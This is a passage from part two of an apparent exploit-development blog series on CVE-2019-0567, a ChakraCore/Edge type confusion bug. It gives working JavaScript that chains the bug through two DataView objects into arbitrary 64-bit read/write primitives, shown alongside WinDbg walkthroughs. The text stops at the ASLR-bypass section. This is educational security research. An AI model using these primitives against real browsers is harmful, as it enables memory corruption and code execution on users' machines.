Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

76 minute read

Introduction

In part one we went over setting up a ChakraCore exploit development environment, understanding how JavaScript (more specifically, the Chakra/ChakraCore engine) manages dynamic objects in memory, and vulnerability analysis of CVE-2019-0567 - a type confusion vulnerability that affects Chakra-based Microsoft Edge and ChakraCore. In this post, part two, we will pick up where we left off and begin by taking our proof-of-concept script, which “crashes” Edge and ChakraCore as a result of the type confusion vulnerability, and convert it into a read/write primtive. This primitive will then be used to gain code execution against ChakraCore and the ChakraCore shell, ch.exe, which essentially is a command-line JavaScript shell that allows execution of JavaScript. For our purposes, we can think of ch.exe as Microsoft Edge, but without the visuals. Then, in part three, we will port our exploit to Microsoft Edge to gain full code execution.

This post will also be dealing with ASLR, DEP, and Control Flow Guard (CFG) exploit mitigations. As we will see in part three, when we port our exploit to Edge, we will also have to deal with Arbitrary Code Guard (ACG). However, this mitigation isn’t enabled within ChakraCore - so we won’t have to deal with it within this blog post.

Lastly, before beginning this portion of the blog series, much of what is used in this blog post comes from Bruno Keith’s amazing work on this subject, as well as the Perception Point blog post on the “sister” vulnerability to CVE-2019-0567. With that being said, let’s go ahead and jump right into it!

ChakraCore/Chakra Exploit Primitives

Let’s recall the memory layout, from part one, of our dynamic object after the type confusion occurs.

As we can see above, we have overwritten the auxSlots pointer with a value we control, of 0x1234. Additionally, recall from part one of this blog series when we talked about JavaScript objects. A value in JavaScript is 64-bits (technically), but only 32-bits are used to hold the actual value (in the case of 0x1234, the value is represented in memory as 001000000001234. This is a result of “NaN boxing”, where JavaScript encodes type information in the upper 17-bits of the value. We also know that anything that isn’t a static object (generally speaking) is a dynamic object. We know that dynamic objects are “the exception to the rule”, and are actually represented in memory as a pointer. We saw this in part one by dissecting how dynamic objects are laid out in memory (e.g. object points to | vtable | type | auxSlots |).

What this means for our vulnerability is that we can overwrite the auxSlots pointer currently, but we can only overwrite it with a value that is NaN-boxed, meaning we can’t hijack the object with anything particularly interesting, as we are on a 64-bit machine but we can only overwrite the auxSlots pointer with a 32-bit value in our case, when using something like 0x1234.

The above is only a half truth, as we can use some “hacks” to actually end up controlling this auxSlots pointer with something interesting, actually with a “chain” of interesting items, to force ChakraCore to do something nefarious - which will eventually lead us to code execution.

Let’s update our proof-of-concept, which we will save as exploit.js, with the following JavaScript:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);		// Instead of supplying 0x1234, we are supplying our obj
}

main();

Our exploit.js is slightly different than our original proof-of-concept. When the type confusion is exploited, we now are supplying obj instead of a value of 0x1234. In not so many words, the auxSlots pointer of our o object, previously overwritten with 0x1234 in part one, will now be overwritten with the address of our obj object. Here is where this gets interesting.

Recall that any object that isn’t NaN-boxed is considered a pointer. Since obj is a dynamic object, it is represented in memory as such:

What this means is that instead of our corrupted o object after the type confusion being laid out as such:

It will actually look like this in memory:

Our o object, who’s auxSlots pointer we can corrupt, now technically has a valid pointer in the auxSlots location within the object. However, we can clearly see that the o->auxSlots pointer isn’t pointing to an array of properties, it is actually pointing to the obj object which we created! Our exploit.js script essentially updates o->auxSlots to o->auxSlots = addressof(obj). This essentially means that o->auxSlots now contains the memory address of the obj object, instead of a valid auxSlots array address.

Recall also that we control the o properties, and can call them at any point in exploit.js via o.a, o.b, etc. For instance, if there was no type confusion vulnerability, and if we wanted to fetch the o.a property, we know this is how it would be done (considering o had been type transitioned to an auxSlots setup):

We know this to be the case, as we are well aware ChakraCore will dereference dynamic_object+0x10 to pull the auxSlots pointer. After retrieving the auxSlots pointer, ChakraCore will add the appropriate index to the auxSlots address to fetch a given property, such as o.a, which is stored at offset 0 or o.b, which is stored at offset 0x8. We saw this in part one of this blog series, and this is no different than how any other array stores and fetches an appropriate index.

What’s most interesting about all of this is that ChakraCore will still act on our o object as if the auxSlots pointer is still valid and hasn’t been corrupted. After all, this was the root cause of our vulnerability in part one. When we acted on o.a, after corrupting auxSlots to 0x1234, an access violation occurred, as 0x1234 is invalid memory.

This time, however, we have provided valid memory within o->auxSlots. So acting on o.a would actually take address is stored at auxSlots, dereference it, and then return the value stored at offset 0. Doing this currently, with our obj object being supplied as the auxSlots pointer for our corrupted o object, will actually return the vftable from our obj object. This is because the first 0x10 bytes of a dynamic object contain metadata, like vftable and type. Since ChakraCore is treating our obj as an auxSlots array, which can be indexed directly at an offset of 0, via auxSlots[0], we can actually interact with this metadata. This can be seen below.

Usually we can expect that the dereferenced contents of o+0x10, a.k.a. auxSlots, at an offset of 0, to contain the actual, raw value of o.a. After the type confusion vulnerability is used to corrupt auxSlots with a different address (the address of obj), whatever is stored at this address, at an offset of 0, is dereferenced and returned to whatever part of the JavaScript code is trying to retrieve the value of o.a. Since we have corrupted auxSlots with the address of an object, ChakraCore doesn’t know auxSlots is gone, and it will still gladly index whatever is at auxSlots[0] when the script tries to access the first property (in this case o.a), which is the vftable of our obj object. If we retrieved o.b, after our type confusion was executed, ChakraCore would fetch the type pointer.

Let’s inspect this in the debugger, to make more sense of this. Do not worry if this has yet to make sense. Recall from part one, the function chakracore!Js::DynamicTypeHandler::AdjustSlots is responsible for the type transition of our o property. Let’s set a breakpoint on our print() statement, as well as the aforementioned function so that we can examine the call stack to find the machine code (the JIT’d code) which corresponds to our opt() function. This is all information we learned in part one.

After opening ch.exe and passing in exploit.js as the argument (the script to be executed), we set a breakpoint on ch!WScriptJsrt::EchoCallback. After resuming execution and hitting the breakpoint, we then can set our intended breakpoint of chakracore!Js::DynamicTypeHandler::AdjustSlots.

When the chakracore!Js::DynamicTypeHandler::AdjustSlots is hit, we can examine the callstack (just like in part one) to identify our “JIT’d” opt() function

After retrieving the address of our opt() function, we can unassemble the code to set a breakpoint where our type confusion vulnerability reaches the apex - on the mov qword ptr [r15+10h], r11 instruction when auxSlots is overwritten.

We know that auxSlots is stored at o+0x10, so this means our o object is currently in R15. Let’s examine the object’s layout in memory, currently.

We can clearly see that this is the o object. Looking at the R11 register, which is the value that is going to corrupt auxSlots of o, we can see that it is the obj object we created earlier.

Notice what happens to the o object, as our vulnerability manifests. When o->auxSlots is corrupted, o.a now refers to the vftable property of our obj object.

Anytime we act on o.a, we will now be acting on the vftable of obj! This is great, but how can we take this further? Take not that the vftable is actually a user-mode address that resides within chakracore.dll. This means, if we were able to leak a vftable from an object, we would bypass ASLR. Let’s see how we can possibly do this.

DataView Objects

A popular object leveraged for exploitation is a DataView object. A DataView object provides users a way to read/write multiple different data types and endianness to and from a raw buffer in memory, which can be created with ArrayBuffer. This can include writing or retrieving an 8-byte, 16-byte, 32-byte, or (in some browsers) 64-bytes of raw data from said buffer. More information about DataView objects can be found here, for the more interested reader.

At a higher level a DataView object provides a set of methods that allow a developer to be very specific about the kind of data they would like to set, or retrieve, in a buffer created by ArrayBuffer. For instance, with the method getUint32(), provided by DataView, we can tell ChakraCore that we would like to retrieve the contents of the ArrayBuffer backing the DataView object as a 32-bit, unsigned data type, and even go as far as asking ChakraCore to return the value in little-endian format, and even specifying a specific offset within the buffer to read from. A list of methods provided by DataView can be found here.

The previous information provided makes a DataView object extremely attractive, from an exploitation perspective, as not only can we set and read data from a given buffer, we can specify the data type, offset, and even endianness. More on this in a bit.

Moving on, a DataView object could be instantiated as such below:

dataviewObj = new DataView(new ArrayBuffer(0x100));

This would essentially create a DataView object that is backed by a buffer, via ArrayBuffer.

This matters greatly to us because as of now if we want to overwrite auxSlots with something (referring to our vulnerability), it would either have to be a raw JavaScript value, like an integer, or the address of a dynamic object like the obj used previously. Even if we had some primitive to leak the base address of kernel32.dll, for instance, we could never actually corrupt the auxSlots pointer by directly overwriting it with the leaked address of 0x7fff5b3d0000 for instance, via our vulnerability. This is because of NaN-boxing - meaning if we try to directly overwrite the auxSlots pointer so that we can arbitrarily read or write from this address, ChakraCore would still “tag” this value, which would “mangle it” so that it no longer is represented in memory as 0x7fff5b3d0000. We can clearly see this if we first update exploit.js to the following and pause execution when auxSlots is corrupted:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x7fff5b3d0000);		// Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll
}

Using the same breakpoints and method for debugging, shown in the beginning of this blog, we can locate the JIT’d address of the opt() function and pause execution on the instruction responsible for overwriting auxSlots of the o object (in this case mov qword ptr [r15+10h], r13.

Notice how the value we supplied, originally 0x7fff5b3d0000 and was placed into the R13 register, has been totally mangled. This is because ChakraCore is embedding type information into the upper 17-bits of the 64-bit value (where only 32-bits technically are available to store a raw value). Obviously seeing this, we can’t directly set values for exploitation, as we need to be able to set and write 64-bit values at a time since we are exploiting a 64-bit system without having the address/value mangled. This means even if we can reliably leak data, we can’t write this leaked data to memory, as we have no way to avoid JavaScript NaN-boxing the value. This leaves us with the following choices:

  1. Write a NaN-boxed value to memory
  2. Write a dynamic object to memory (which is represented by a pointer)

If we chain together a few JavaScript objects, we can use the latter option shown above to corrupt a few things in memory with the addresses of objects to achieve a read/write primitive. Let’s start this process by examining how DataView objects behave in memory.

Let’s create a new JavaScript script named dataview.js:

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)

Notice the level of control we have in respect to the amount of data, the type of data, and the offset of the data in the buffer we can set/retrieve.

In the above code we created a DataView object, which is backed by a raw memory buffer via ArrayBuffer. With the DataView “view” of this buffer, we can tell ChakraCore to start at the beginning of the buffer, use a 32-bit, unsigned data type, and use little endian format when setting the data 0x41414141 into the buffer created by ArrayBuffer. To see this in action, let’s execute this script in WinDbg.

Next, let’s set our print() debug breakpoint on ch!WScriptJsrt::EchoCallback. After resuming execution, let’s then set a breakpoint on chakracore!Js::DataView::EntrySetUint32, which is responsible for setting a value on a DataView buffer. Please note I was able to find this function by searching the ChakraCore code base, which is open-sourced and available on GitHub, within DataView.cpp, which looked to be responsible for setting values on DataView objects.

After hitting the breakpoint on chakracore!Js::DataView::EntrySetUint32, we can look further into the disassembly to see a method provided by DataView called SetValue(). Let’s set a breakpoint here.

After hitting the breakpoint, we can view the disassembly of this function below. We can see another call to a method called SetValue(). Let’s set a breakpoint on this function (please right click and open the below image in a new tab if you have trouble viewing).

After hitting the breakpoint, we can see the source of the SetValue() method function we are currently in, outlined in red below.

Cross-referencing this with the disassembly, we noticed right before the ret from this method function we see a mov dword ptr [rax], ecx instruction. This is an assembly operation which uses a 32-bit value to act on a 64-bit value. This is likely the operation which writes our 32-bit value to the buffer of the DataView object. We can confirm this by setting a breakpoint and verifying that, in fact, this is the responsible instruction.

We can see our buffer now holds 0x41414141.

This verifies that it is possible to set an arbitrary 32-bit value without any sort of NaN-boxing, via DataView objects. Also note the address of the buffer property of the DataView object, 0x157af16b2d0. However, what about a 64-bit value? Consider the following script below, which attempts to set one 64-bit value via offsets of DataView.

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
dataviewObj.setUint32(0x4, 0x41414141, true);	// Set, at an offset of 4 in the buffer, the value 0x41414141 and specify litte-endian (true)

Using the exact same methodology as before, we can return to our mov dword ptr [rax], rcx instruction which writes our data to a buffer to see that using DataView objects it is possible to set a value in JavaScript as a contiguous 64-bit value without NaN-boxing and without being restricted to just a JavaScript object address!

The only thing we are “limited” to is the fact we cannot set a 64-bit value in “one go”, and we must divide our writes/reads into two tries, since we can only read/write 32-bits at a time as a result of the methods provided to use by DataView. However, there is currently no way for us to abuse this functionality, as we can only perform these actions inside a buffer of a DataView object, which is not a security vulnerability. We will eventually see how we can use our type confusion vulnerability to achieve this, later in this blog post.

Lastly, we know how we can act on the DataView object, but how do we actually view the object in memory? Where does the buffer property of DataView come from, as we saw from our debugging? We can set a breakpoint on our original function, chakracore!Js::DataView::EntrySetUint32. When we hit this breakpoint, we then can set a breakpoint on the SetValue() function, at the end of the EntrySetUint32 function, which passes the pointer to the in-scope DataView object via RCX.

If we examine this value in WinDbg, we can clearly see this is our DataView object. Notice the object layout below - this is a dynamic object, but since it is a builtin JavaScript type, the layout is slightly different.

The most important thing for us to note is twofold: the vftable pointer still exists at the beginning of the object, and at offset 0x38 of the DataView object we have a pointer to the buffer. We can confirm this by setting a hardware breakpoint to pause execution anytime DataView.buffer is written to in a 4-byte (32-bit) boundary.

We now know where in a DataView object the buffer is stored, and can confirm how this buffer is written to, and in what manners can it be written to.

Let’s now chain this knowledge together with what we have previously accomplished to gain a read/write primitive.

Read/Write Primitive

Building upon our knowledge of DataView objects from the “DataView Objects” section and armed with our knowledge from the “Chakra/ChakraCore Exploit Primitives” section, where we saw how it would be possible to control the auxSlots pointer with an address of another JavaScript object we control in memory, let’s see how we can put these two together in order to achieve a read/write primitive.

Let’s recall two previous images, where we corrupted our o object’s auxSlots pointer with the address of another object, obj, in memory.

From the above images, we can see our current layout in memory, where o.a now controls the vftable of the obj object and o.b controls the type pointer of the obj object. But what if we had a property c within o (o.c)?

From the above image, we can clearly see that if there was a property c of o (o.c), it would therefore control the auxSlots pointer of the obj object, after the type confusion vulnerability. This essentially means that we can force obj to point to something else in memory. This is exactly what we would like to do in our case. We would like to do the exact same thing we did with the o object (corrupting the auxSlots pointer to point to another object in memory that we control). Here is how we would like this to look.

By setting o.c to a DataView object, we can control the entire contents of the DataView object by acting on the obj object! This is identical to the exact same scenario shown above where the auxSlots pointer was overwritten with the address of another object, but we saw we could fully control that object (vftable and all metadata) by acting on the corrupted object! This is because ChakraCore, again, still treats auxSlots as though it hasn’t been overwritten with another value. When we try to access obj.a in this case, ChakraCore fetches the auxSlots pointer stored at obj+0x10 and then tries to index that memory at an offset of 0. Since that is now another object in memory (in this case a DataView object), obj.a will still gladly fetch whatever is stored at an offset of 0, which is the vftable for our DataView object! This is also the reason we declared obj with so many values, as a DataView object has a few more hidden properties than a standard dynamic object. By decalring obj with many properties, it allows us access to all of the needed properties of the DataView object, since we aren’t stopping at dataview+0x10, like we have been with other objects since we only cared about the auxSlots pointers in those cases.

This is where things really start to pick up. We know that DataView.buffer is stored as a pointer. This can clearly be seen below by our previous investigative work on understanding DataView objects.

In the above image, we can see that DataView.buffer is stored at an offset of 0x38 within the DataView object. In the previous image, the buffer is a pointer in memory which points to the memory address 0x1a239afb2d0. This is the address of our buffer. Anytime we do dataview.setUint32() on our DataView object, this address will be updated with the contents. This can be seen below.

Knowing this, what if we were able to go from this:

To this:

What this would mean is that buffer address, previously shown above, would be corrupted with the base address of kernel32.dll. This means anytime we acted on our DataView object with a method such as setUint32() we would actually be overwriting the contents of kernel32.dll (note that there are obviously parts of a DLL that are read-only, read/write, or read/execute)! This is also known as an arbitrary write primitive! If we have the ability to leak data, we can obviously use our DataView object with the builtin methods to read and write from the corrupted buffer pointer, and we can obviously use our type confusion (as we have done by corrupted auxSlots pointers so far) to corrupt this buffer pointer with whatever memory address we want! The issue that remains, however, is the NaN-boxing dilemma.

As we can see in the above image, we can overwrite the buffer pointer of a DataView object by using the obj.h property. However, as we saw in JavaScript, if we try to set a value on an object such as obj.h = kernel32_base_address, our value will remain mangled. The only way we can get around this is through our DataView object, which can write raw 64-bit values.

The way we will actually address the above issue is to leverage two DataView objects! Here is how this will look in memory.

The above image may look confusing, so let’s break this down and also examine what we are seeing in the debugger.

This memory layout is no different than the others we have discussed. There is a type confusion vulnerability where the auxSlots pointer for our o object is actually the address of an obj object we control in memory. ChakraCore interprets this object as an auxSlots pointer, and we can use property o.c, which would be the third index into the auxSlots array had it not been corrupted. This entry in the auxSlots array is stored at auxSlots+0x10, and since auxSlots is really another object, this allows us to overwrite the auxSlots pointer of the obj object with a JavaScript object.

We overwrite the auxSlots array of the obj object we created, which has many properties. This is because obj->auxSlots was overwritten with a DataView object, which has many hidden properties, including a buffer property. Having obj declared with so many properties allows us to overwrite said hidden properties, such as the buffer pointer, which is stored at an offset of 0x38 within a DataView object. Since dataview1 is being interpreted as an auxSlots pointer, we can use obj (which previously would have been stored in this array) to have full access to overwrite any of the hidden properties of the dataview1 object. We want to set this buffer to an address we want to arbitrarily write to (like the stack for instance, to invoke a ROP chain). However, since JavaScript prevents us from setting obj.h with a raw 64-bit address, due to NaN-boxing, we have to overwrite this buffer with another JavaScript object address. Since DataView objects expose methods that can allow us to write a raw 64-bit value, we overwrite the buffer of the dataview1 object with the address of another DataView object.

Again, we opt for this method because we know obj.h is the property we could update which would overwrite dataview1->buffer. However, JavaScript won’t let us set a raw 64-bit value which we can use to read/write memory from to bypass ASLR and write to the stack and hijack control-flow. Because of this, we overwrite it with another DataView object.

Because dataview1->buffer = dataview2, we can now use the methods exposed by DataView (via our dataview1 object) to write to the dataview2 object’s buffer property with a raw 64-bit address! This is because methods like setUint32(), which we previously saw, allow us to do so! We also know that buffer is stored at an offset of 0x38 within a DataView object, so if we execute the following JavaScript, we can update dataview2->buffer to whatever raw 64-bit value we want to read/write from:

// Recall we can only set 32-bits at a time
// Start with 0x38 (dataview2->buffer and write 4 bytes
dataview1.setUint32(0x38, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2->buffer)
dataview1.setUint32(0x3C, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

Now dataview2->buffer would be overwritten with 0x4141414141414141. Let’s consider the following code now:

dataview2.setUint32(0x0, 0x42424242, true);
dataview2.setUint32(0x4, 0x42424242, true);

If we invoke setUint32() on dataview2, we do so at an offset of 0. This is because we are not attempting to corrupt any other objects, we are intending to use dataview2.setUint32() in a legitimate fashion. When dataview2->setUint32() is invoked, it will fetch the address of the buffer from dataview2 by locating dataview2+0x38, derefencing the address, and attempting to write the value 0x4242424242424242 (as seen above) into the address.

The issue is, however, is that we used a type confusion vulnerability to update dataview2->buffer to a different address (in this case an invalid address of 0x4141414141414141). This is the address dataview2 will now attempt to write to, which obviously will cause an access violation.

Let’s do a test run of an arbitrary write primitive to overwrite the first 8 bytes of the .data section of kernel32.dll (which is writable) to see this in action. To do so, let’s update our exploit.js script to the following:

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Print debug statement
    print("DEBUG");

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

Note that in the above code, the base address of the .data section kernel32.dll can be found with the following WinDbg command: !dh kernel32. Recall also that we can only write/read in 32-bit boundaries, as DataView (in Chakra/ChakraCore) only supplies methods that work on unsigned integers as high as a 32-bit boundary. There are no direct 64-bit writes.

Our target address will be kernel32_base + 0xA4000, based on our current version of Windows 10.

Let’s now run our exploit.js script in ch.exe, by way of WinDbg.

To begin the process, let’s first set a breakpoint on our first print() debug statement via ch!WScriptJsrt::EchoCallback. When we hit this breakpoint, after resuming execution, let’s set a breakpoint on chakracore!Js::DynamicTypeHandler::AdjustSlots. We aren’t particularly interested in this function, which as we know will perform the type transition on our o object as a result of the tmp function setting its prototype, but we know that in the call stack we will see the address of the JIT’d function opt(), which performs the type confusion vulnerability.

Examining the call stack, we can clearly see our opt() function.

Let’s set a breakpoint on the instruction which will overwrite the auxSlots pointer of the o object.

We can inspect R15 and R11 to confirm that we have our o object, who’s auxSlots pointer is about to be overwritten with the obj object.

We can clearly see that the o->auxSlots pointer is updated with the address of obj.

This is exactly how we would expect our vulnerability to behave. After the opt(o, o, obj) function is called, the next step in our script is the following:

// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;

We know that by setting a value on o.c we will actually end up corrupting obj->auxSlots with the address of our first DataView object. Recalling the previous image, we know that obj->auxSlots is located at 0x12b252a52b0.

Let’s set a hardware breakpoint to break whenever this address is written to at an 8-byte alignment.

Taking a look at the disassembly, it is clear to see how SetSlotUnchecked indexes the auxSlots array (or what it thinks is the auxSlots array) by computing an index into an array.

Let’s take a look at the RCX register, which should be obj->auxSlots (located at 0x12b252a52b0).

However, we can see that the value is no longer the auxSlots array, but is actually a pointer to a DataView object! This means we have successfully overwritten obj->auxSlots with the address of our dataview DataView object!

Now that our o.c = dataview1 operation has completed, we know the next instruction will be as follows:

// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;

Let’s update our script to set our print() debug statement right before the obj.h = dataview2 instruction and restart execution in WinDbg.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Print debug statement
    print("DEBUG");

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

We know from our last debugging session that the function chakracore!Js::DynamicTypeHandler::SetSlotUnchecked was responsible for updating o.c = dataview1. Let’s set another breakpoint here to view our obj.h = dataview2 line of code in action.

After hitting the breakpoint, we can examine the RCX register, which contains the in-scope dynamic object passed to the SetSlotUnchecked function. We can clearly see this is our obj object, as obj->auxSlots points to our dataview1 DataView object.

We can then set a breakpoint on our final mov qword ptr [rcx+rax*8], rdx instruction, which we previously have seen, which will perform our obj.h = dataview2 instruction.

After hitting the instruction, we can can see that our dataview1 object is about to be operated on, and we can see that the buffer of our dataview1 object currently poitns to 0x24471ebed0.

After the write operation, we can see that dataview1->buffer now points to our dataview2 object.

Again, to reiterate, we can do this type of operation because of our type confusion vulnerability, where ChakraCore doesn’t know we have corrupted obj->auxSlots with the address of another object, our dataview1 object. When we execute obj.h = dataview2, ChakraCore treats obj as still having a valid auxSlots pointer, which it doesn’t, and it will attempt to update the obj.h entry within auxSlots (which is really a DataView object). Because dataview1->buffer is stored where ChakraCore thinks obj.h is stored, we corrupt this value to the address of our second DataView object, dataview2.

Let’s now set a breakpoint, as we saw earlier in the blog post, on the setUint32() method of our DataView object, which will perform the final object corruption and, shortly, our arbitrary write. We also can entirely clear out all other breakpoints.

After hitting our breakpoint, we can then scroll through the disassembly of EntrySetUint32() and set a breakpoint on chakracore!Js::DataView::SetValue, as we have previously showcased in this blog post.

After hitting this breakpoint, we can scroll through the disassembly and set a final breakpoint on the other SetValue() method.

Within this method function, we know mov dword ptr [rax], ecx is the instruction responsible ultimately for writing to the in-scope DataView object’s buffer. Let’s clear out all breakpoints, and focus solely on this instruction.

After hitting this breakpoint, we know that RAX will contain the address we are going to write into. As we talked about in our exploitation strategy, this should be dataview2->buffer. We are going to use the setUint32() method provided by dataview1 in order to overwrite dataview2->buffer’s address with a raw 64-bit value (broken up into two write operations).

Looking in the RCX register above, we can also actually see the “lower” part of kernel32.dll’s .data section - the target address we would like to perform an arbitrary write to.

We now can step through the mov dword ptr [rax], ecx instruction and see that dataview2->buffer has been partially overwritten (the lower 4 bytes) with the lower 4 bytes of kernel32.dll’s .data section!

Perfect! We can now press g in the debugger to hit the mov dword ptr [rax], ecx instruction again. This time, the setUint32() operation should write the upper part of the kernel32.dll .data section’s address, thus completing the full pointer-sized arbitrary write primitive.

After hitting the breakpoint and stepping through the instruction, we can inspect RAX again to confirm this is dataview2 and we have fully corrupted the buffer pointer with an arbitrary address 64-bit address with no NaN-boxing effect! This is perfect, because the next time dataview2 goes to set its buffer, it will use the kernel32.dll address we provided, thinking this is its buffer! Because of this, whatever value we now supply to dataview2.setUint32() will actually overwrite kernel32.dll’s .data section! Let’s view this in action by again pressing g in the debugger to see our dataview2.setUint32() operations.

As we can see below, when we hit our breakpoint again the buffer address being used is located in kernel32.dll, and our setUint32() operation writes 0x41414141 into the .data section! We have achieved an arbitrary write!

We then press g in the debugger once more, to write the other 32-bits. This leads to a full 64-bit arbitrary write primitive!

Perfect! What this means is that we can first set dataview2->buffer, via dataview1.setUint32(), to any 64-bit address we would like to overwrite. Then we can use dataview2.setUint32() in order to overwrite the provided 64-bit address! This also bodes true anytime we would like to arbitrarily read/dereference memory!

We simply, as the write primitive, set dataview2->buffer to whatever address we would like to read from. Then, instead of using the setUint32() method to overwrite the 64-bit address, we use the getUint32() method which will instead read whatever is located in dataview2->buffer. Since dataview2->buffer contains the 64-bit address we want to read from, this method simply will read 8 bytes from here, meaning we can read/write in 8 byte boundaries!

Here is our full read/write primitive code.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
	return ${x.toString(16)};
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // From here we can call read64() and write64()
}

main();

We can see we added a few things above. The first is our hex() function, which really is just for “pretty printing” purposes. It allows us to convert a value to hex, which is obviously how user-mode addresses are represented in Windows.

Secondly, we can see our read64() function. This is practically dentical to what we displayed with the arbitrary write primitive. We use dataview1 to corrupt the buffer of dataview2 with the address we want to read from. However, instead of using dataview2.setUint32() to overwrite our target address, we use the getUint32() method to retrieve 0x8 bytes from our target address.

Lastly, write64() is identical to what we displayed in the code before the code above, where we walked through the process of performing an arbitrary write. We have simply “templatized” the read/write process to make our exploitation much more efficient.

With a read/write primitive, the next step for us will be bypassing ASLR so we can reliably read/write data in memory.

Bypassing ASLR - Chakra/ChakraCore Edition

